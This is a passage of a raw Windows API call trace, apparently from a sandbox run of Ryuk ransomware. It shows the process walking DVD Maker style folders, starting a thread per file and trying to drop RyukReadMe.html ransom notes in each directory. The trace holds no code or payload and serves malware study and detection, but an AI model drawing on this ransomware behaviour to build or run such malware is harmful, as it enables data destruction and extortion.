	[0230.028] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.028] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd98
	[0230.029] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.030] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd9c
	[0230.031] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.032] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.032] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.033] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda0
	[0230.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.035] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.035] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda4
	[0230.037] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.037] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1
	[0230.037] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.038] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xda8
	[0230.148] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.149] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1
	[0230.149] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdac
	[0230.151] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.152] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x76, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0
	[0230.152] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0230.370] SetLastError (dwErrCode=0x0) 
	[0230.370] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.378] GetLastError () returned 0x5
	[0230.378] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.379] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.379] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x62, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0230.379] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd38
	[0230.381] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.382] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1
	[0230.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb0
	[0230.384] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.384] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1
	[0230.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb4
	[0230.386] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.386] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x62, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1
	[0230.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdb8
	[0230.388] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.389] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1
	[0230.389] SetLastError (dwErrCode=0x0) 
	[0230.389] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.389] GetLastError () returned 0x5
	[0230.389] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0230.393] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0230.393] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0230.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc0
	[0230.395] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.396] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0230.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc4
	[0230.398] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.398] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.398] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.399] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdc8
	[0230.401] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.401] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.401] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.402] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdcc
	[0230.403] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.404] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.404] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd0
	[0230.553] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.554] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.554] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4
	[0230.556] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.556] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0230.556] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.557] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd8
	[0230.558] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.559] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0230.559] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.560] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xddc
	[0230.561] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.561] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x76, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 1
	[0230.561] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0230.562] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xde0
	[0230.563] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0230.564] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x76, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 0
	[0230.564] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0230.564] SetLastError (dwErrCode=0x0) 
	[0230.564] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.564] GetLastError () returned 0x5
	[0230.565] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.565] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="SpecialOccasion", cAlternateFileName="SPECIA~1")) returned 1
	[0230.565] SetLastError (dwErrCode=0x0) 
	[0230.565] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0230.565] GetLastError () returned 0x5
	[0230.565] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0230.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0230.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa92ba2a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
